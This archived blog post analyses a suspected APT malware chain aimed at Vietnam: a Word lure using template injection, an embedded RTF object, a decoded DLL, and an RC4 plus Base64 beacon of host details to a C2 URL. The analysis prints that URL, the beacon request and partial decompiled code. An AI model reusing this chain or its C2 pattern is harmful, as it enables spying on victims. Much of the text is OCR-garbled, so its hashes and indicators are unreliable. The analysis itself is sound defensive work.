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[QuickNote] Analysis of malware suspected to be an APT attack

targeting Vietnam
Published: 2022-01-25 - Archived: 2026-04-05 14:14:54 UTC
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Recently, on the twitter of Shadow Chaser Group, they tweet information about malware sample that targeting

Vietnam.
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Shadow Chaser Group

some sample target at VN

ITW:

04died 3efli6b0427f4ferbebeceetbbil

Z2eedaed 78e/d1f2i473b191b1bebel 4f
4b869a2abec83dadbcf728f9156633db
95Med138fd0e 0727 78cd4f1fOBaltemplate)

URL:

hoocp: ffoffice.oigezet.com/portalsfofficef/log.php?Data=

Shadow Chaser Group

filename:

Bien ban thong nhat ke hoach dao tao VPB Voffice.docx

Bien ban thong nhat ke hoach dao tac VPB.CSDLEC+Portal.docx
FW Daft van ban phuc vu hoan thien ho so Nghiem thu dao tao. zip
Template URL:

hoocp: ffoffice.oigezet.com/portals /office/fav.ico

Sample info:

o SHA-256: 341dee709285286bc5ba94d14d1bce8a6416cb93a054bd183b501552a17ef314
e ITW: Bien ban thong nhat ke hoach dao tao_VPB.Voffice.docx
e Submitted from VN: 2022-01-24 02:52:14 UTC
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CONG HOA XA HOI CHU NGHIA VIET NAM
Briic lip — T do — Hanh phiic

Ha Ngi, ngay ... thang ... ndm ...

BIEN BAN LAM VIEC
V& vigc thong nhit ké hoach dao tao dw an H§ thong Quén Iy vin bin va ho

so cong viée phye vy chi huy, didéu hanh toin quin - Giai doan 2

Hém nay, ngay 26/02/2021 tai Vin phéng B Qudc phong - S6 01, Nguyén
Tri Phuong, Quén Ba Dinh, Thanh phd Ha N6i, chiing t6i gom:
1. Pai di¢n Vin phong Bj Quic phing
- Thiéu twéing Nguyén Viét Tuyén Chirc vu: Pho Chanh Van phong.
2. Pai dién Tip doan Céng nghiép - Vién thing Quén dji (CN-VTQD):
- Thugng ta Nguyén Manh Hb Chire vu: Tong Giam doc Téng Cong ty
Giai phap Doanh nghiép Viettel - Chi nhinh Tip dodn Céng nghiép - Vién
thdng Quan déi.
- B/c Nguyén Céng Phung Chire vy: Pho Giam doc Trung tam Khéach
hang Bé Quoc phong - Téng Cong ty Giai phéap Doanh nghiép Viettel.

Hai Bén cing théng nhat vé ké hoach dio tao cac dy an, ngi dung nhur sau:
o Té chire dao tao: Khoa dio tao duge t6 chirc thanh céc 1ép hoc theo timg doi

tiwong sit dung hé thong cu thé nhu sau:
- S5 16p dao tao: 32 16p.
- Lop dao tao doi voi vai tro Quan tri hé théng.
- Lp ddo tao ddi véd vai tro Vin thur,
- Lop dao tao doi voi vai tro chuyén vién, lanh dao don vi.
- 86 lugng hoe vién méi 16p dao tao 161 da 40 hoe vién: Do Vin phong B cung
ciip va thong nhit véi céc don vi trong toan quin.

- Dia diém ddo tao: Do Van phéng Bé chi dinh.
Tap doin CN-VTQP chiu trich nhiém dam bao: Téi thiéu 01 giang vién chinh,
01 trg gidng, 01 cdn bd hd tre k¥ thuéit, 01 cdn b quin 1y cho 01 16p va cée
trang thiét bi phuc vu dao tao nhu tai lidu, may chiéu, may tinh, ...
o Thi gian dy kién ddo tao: Thuc hién tir 01/03/2021 dén 31/6/2021.

Cause this sample related to Vietnam, so I decided to taking time to perform a quick analysis of this malicious

document. A quick check of this document shows that it uses the Template Injection technique. The advantage of

this technique is that when the user open the file, it will automatically download the fav.ico file from the

address hxxp://office[.]oigezet[.]com/portals/office/fav.ico .
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] Microsoft®

Word 2010

- Downloading: http://office.cigezet.com/portals/office/fav.ico (0%)

In addition, based on the <AppVersion> tag information, it is possible to know that the attacker created this

document from Office 2010 :

~Hx 1i = al= =08 ~link=Changed>

<hppVersion>14.0000</AppVersi cm:){

office.oigezet.com

etrc
zet. com/portal

connected.

391,194

ed [39119

HashMyFiles
File Edit View Options Help
[30nQ @EaE QA

Filename MD5 SHA1 CRC32 SHA-256

|8 fav.ico 9521e4138fd0e6996072778cd4f 1f06a 90b4f748cadTh78260244ccal98e9421d377d6T2 4231960 4747ebab2feeb68593 cecbf]

The downloaded fav.ico file is not a PE file, itis an RTF file :
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|E|T| fav.ico

Entry Point : ? oo | < | EPSecton: ?

File Offset : 7 First Bytes : 7B,5C,72,74.66
Linker Info : ? SubSystem : ?

Fle Sze :  0005F81Ah | <) [MeT| Overlay:

Diagnose: ----

|
Lamer Info - Help Hint - Unpack info
Try another file or use Ripper Menu !

Checking it with the rtfobj tool, the results show that this RTF file has an embedded object named gax23.xp ,
with size: 167831 bytes, and has MD5 = ¢ 935553d110e5ded158006d0679226641 °.

IOOOO peZ2h || format_id: 2 (Embedded)
|class name: b'PACKAGE'
|data size: 16?831

|F11ename b
| Ssource path L \\Hsels\\1ohn\\AppData\\Loca1\\M1c1050ft\\W1ndo
|ws\\INetCache) ntent. Wordi\\ .X

| Temp path = 'C:\\Users\\John\\Ap
IMD5 = 'QJSSSJdIIOeSded15&000d00 9
|[File Type: Unknown file type

0005ACABh Ifurmdt id
|class
|data

This technique reminds me some of samples that I’ve analyzed before: [1], [2], [3], [4]. Thanks to nao_sec for

updating the_ rr_decoder tool to decode the encrypted object.
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nao_sec

Updated rr_decoder 4

- decode_8291706f(enc_data):
print('[!] Type [8291706f] is
print(’'[+] Decoding...")

key = bytearray(b"2Y1K
s = rcd_ksa(key)

dec data = rc4 prga(enc data, s)

urn dec_data

After dumping the object and then use rr_decoder , I got the DII file with the original name Download.dll.

APT=rr_decode.py fav.ico_ .xp decoded_d11.bin

Detected!
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Disasm: .text | General | DOS Hdr | File Hdr | Optional Hdr | Section Hdrs

Mame Value Meaning

Characteristics 0
TimeDateStamp FFFRFFFF Sunday, 07.02.2106 06

Mame vnload.dll
Base
MumberOfFunctions
MNumberOfMam
AddressOfFunct
dressOfMarmes
AddressOfMameOrdinals

Exported Functions [ 2 entries |

Offset Crdinal Function ) Mame BVA Mame Forwarder

ad_dll

decods

Here is the result when I upload this DIl to tria.ge site:_https://tria.ge/220124-k8nknsdhf8/behavioral1

¥ @ Processes °

= CAWindows\system32\rundli32.exe PID:1968

= CA\Windows\SysWOW64\rundll32.exe PID:1764
~ & Network

REQUESTS Tcp upp
B pns office.oigezet.com rundil32.exe »
GET http: e.oigezet.com/p: ffice/log.php? Data=a6c2AYowEfUIkw62Fxirdzak7 YISIOKO %2 Fe2H%2B8zRx3 Tw8al 7T2m3FPPEISMIDHFOXPYQIYDNWgQUWFCUGGUVabOIUFQ...  rundli3zee v

Encrypted Data
Remote address:

103.173.154.168:80

Request

GET /portals/otiice

/1og.php?Data=a6c2AYowE£UIkws 2Fxirdzqgk] YIS 10KO$2Fe2HS 288 zRx3 1 Tw8al 7 T2m3F PPE 1 SMSDHFOXPvQ 1 YDnRgQt riFCUGGUVab% luFQ0KaY1aCb60201TGp9LinpNaUkzOM50Tg7 i ky ZhRvXrCnNSREFd61
Jn4k1iIB9bNIRSIFi%2FE8HbTLELOJGY0INED] 2T Ijalg7THISOWFj tus2B4hpKgZTEdz 3WdVAS 3WDTygvUnO3A] ZRLWe0TVcUie04Lr2YSW22197yoazRbPbtmmLhnv4 S1PkK$ 2BSYPRs4dHC JE§ 2FRgPS2ZBSVPX22A
O%2FMrvk7gFLpsEG7%2Bgv5MzG1U7PEnjqLy1Y9yMMj P#2BBEMAH0dhE 7 1 Dwpxo%2FfUHZrM2kgi tgvTUDEFhN3 5% 2FUXATRSOGWSPEP$ 2F 7TaFnB8d$2BWSQ¥3D%3D HTTR/1.1

Connection: Keep-Alive

Bccept: */*

User-Agent: Microsoft Internet Explorer

Host: office.oigezet.com

Response

HTTP/1.1 200 OK

Date: Mon, 24 Jan 2022 23:18:38 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45

Content-Length: 1564

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html;charset=utf-8

| * s http://office.oigezet.com/portals/office/log. php? Data=a6c2 AYcwEfU9Iw9%2 Fjma 1rmnXrVD5VNZSh rundli32.exe »

E GEer http://office.oiqezet.com/portals/office/VQUVOAIK-0.html rundiiz2.exe 3

As shown in the figure, the malware after executing will send encrypted data to the address
http://office[.]oigezet[.]com/portals/office/log.php? , whereby the IP address of remote address is from
Vietnam. To be able to decode the above data, I quickly reversed code of the DIl file.
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The code of this DIl shows that it will collect and aggregate information about the victim’s computer, including:
Host Name, 0S Name, 0S Version, System type, Architecture, User Name, InternetInformation, Antivirus

product .

sub_10001469(&v29, | "Host Name:");
v2 = f_getsComputerName(&cbMultiByte);

sub_10001469(&v29, " "0S Name:");
= f_getsWindowsName(&cbMultiByte);

sub_10001469(&v29, | "0S Version:");
v7 = f_getsWindowsVersionNumbers( =, &cbMultiByte);

O - =

tem type:");

WowéUProcess[8]
h_current_proc =

U
sz_system_arch -based PC";

( WowsdProcess[8] )
{
sz_system_arch = | "IAéU-based PC";

}

sub_1000158E(&cbMultiByte, sz_system_arch);

sub_10001469(&v29, "User Name:"
LOBYTE(v31) = §5;

lpBuffer = 8;

v27 = 8;

v28 = 8;

sub_10001413(&lpBuffer, . );

LOBYTE(v31) = 6;

LOWORD(cbMultiByte.field_B8) = @;
cbMultiByte.field_180 = B8;

cbMultiByte.field_14 = 7;

vy = 2;

WowbUProcess[B] = @xuee;
GetUserHaﬂeW[lpBuFFer, £l PDWORD)WowsUProcess);

sub_18801469(&v29, | "InternetInfolmation:");
sub_1000150E(&v29, 1" ");
f_GetAdaptersInfo((int)&vis);

vl3 = f_convert_to_wchar(&cbMultiByte, v18, v19, w20,
LOBYTE(v31) = 7;

sub_1ee81469(&v29, | "Antivirus:");
vl5 = f_collect_AntiVirusProduct_info((int)&cbMultiByte);
LOBYTE(v31) = 8:

vlg = () %* )y
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All collected information will be encrypted with the RC4 algorithm, with the encryption/decryption key is
"123abc" , then this encrypted data will continue to be encoded by the Base64 algorithm before being sent to C2

as picture above.

key_length = strlen("123abd");

f_RCU_KSA(s_box, key_length, key_length);
f_RCU_PRGA(s_box, plain_buf,

vle = f_encode_data_using_Basesd(v6, (int)&al, plain_buf,
std::string:: operator=(vis6);

unknown_libname_32(&al);

sub_10003089((char *)&v21, v32);

vl7 = f_convert_to_wchar(&al, (LPCCH)v21, v22, v23, v24, v25, v26);
sub_10082EEB(v39, v1T7);

sub_186081495(&al);

sub_10001469(&v38, (wchar_t )| "portals/offi php");
sub_10001560E(&v38, | "?Data=");

Based on the analysis results, by using CyberChef, I can decrypt the encrypted data when sent to C2 as follows:

Recipe om i Input L M: + O3 F =

Llines:

abc2AYcwEfUSkw/x1rdzqk7YIS1OKO
/eZH+8zRx31Tw8al7T2m3FPPELSMIDHFOXPVQLYDNWgQt riWF CUGGUVab91uFQQKaY1aCb60201 TGpIL inpNaUkz@M5@Tg7 1kyZhKvXrCnNBRBF
. d61Imak11IBObNIRSLF1
A—Z‘u ~20-9+/= - /8Hb7L8b01q9@1INED1jZT] jalg7H350WF j tu+4hpKgZ T8dz 3WdvA83wD7yqvUn03AjZRLWedTVcUie04Lr2YON22197yoazRbPbtmmLhnv451P
kK+SYpRs4dHcIE/RGP+SVPx22A0/Mrvk7 gF LpsEG7+gvSMz G1U7PEN]qLy1Y9yMM)P+BEMdHBAhE71Dwpxo/ fUHZrM2kgl tgv7UD6FhN35S
/UxATRSOGWSpEP/7aFnB8d+WSQ=-]

From Base64

Remove non-alphabet char
RC4
time:  6ms
Passphrese Output ength: 01 @ [ @
123abc ! lines: 1
VQVVOAJK Host Name:VQVVOAJK 0S Name:Windows 7 Ultimate 0S Version:6.1.76@1 System type:TA64-based PC User
Input format output format Name:Admin InternetInformation: NetworkCard:1 {438QE96E-2AB6-4763-BCFF-B193F024A206} Realtek RTL8139C+ Fast
Latin1 Latin1 Ethernet NIC ETHERNET 66-AA-54-08-C5-BE 10.127.1.93 255.255.0.0 10.127.0.1 Antivirus:

End.
Regards,

m4n0w4r
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